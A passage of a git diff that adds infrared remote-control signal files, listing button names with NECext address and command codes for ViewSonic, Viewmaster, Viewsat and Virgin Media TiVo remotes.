83 F1 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 13 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 27 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 28 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 29 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2A 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 30 00 00 00 +# +name: scart +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 31 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 32 00 00 00 +# +name: dtvmenu +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 33 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 34 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 35 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 36 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 37 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 40 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 45 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 46 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 47 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 49 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 70 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 71 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 72 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 73 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 74 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 79 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 86 00 00 00 +# +name: reveal +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 87 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 88 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir new file mode 100644 index 000000000..1a1fa7986 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0C 00 00 00 +# +name: KEY_0/- +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 13 00 00 00 +# +name: P.INPUT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 17 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 1A 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 1B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 1E 00 00 00 +# +name: C.C +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 21 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 24 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 27 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 28 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 2C 00 00 00 +# +name: TV/DTV +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 40 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 45 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 70 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 74 00 00 00 +# +name: P.POS +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 75 00 00 00 +# +name: PIP/POP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 76 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 77 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 78 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 79 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 81 00 00 00 +# +name: V-CHIP +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 82 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir new file mode 100644 index 000000000..5a829671c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: pop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: sel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir new file mode 100644 index 000000000..39ca7e7ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: flat +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 00 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 01 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 03 00 00 00 +# +name: sharp +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 05 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 06 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 07 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 08 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 09 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 10 00 00 00 +# +name: frev +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 11 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 15 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 16 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 18 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 19 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 40 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 42 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 45 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 46 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 47 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 49 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4E 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 50 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 52 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 53 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 54 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 55 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 56 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir b/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir new file mode 100644 index 000000000..1551679ba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0F 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 11 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 13 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 14 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 16 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 17 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 18 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 19 00 00 00 +# +name: CH-Return +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1A 00 00 00 +# +name: Music/TV +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1B 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1C 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1F 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 40 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 41 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir b/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir new file mode 100644 index 000000000..d5b41d21b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 0F 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 11 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 13 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 14 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 16 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 17 00 00 00 +# +name: f1 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 18 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 19 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1A 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1B 00 00 00 +# +name: f4 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1C 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 1F 00 00 00 +# +name: f2 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 40 00 00 00 +# +name: f3 +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 41 00 00 00 +# +name: color +type: parsed +protocol: NECext +address: 20 FF 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir new file mode 100644 index 000000000..2c0505833 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 13 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 14 00 00 00 +# +name: MYSHOWS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 15 00 00 00 +# +name: THUMBSDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 16 00 00 00 +# +name: THUMBSUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 17 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 19 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2B 00 00 00 +# +name: KEY_INFO 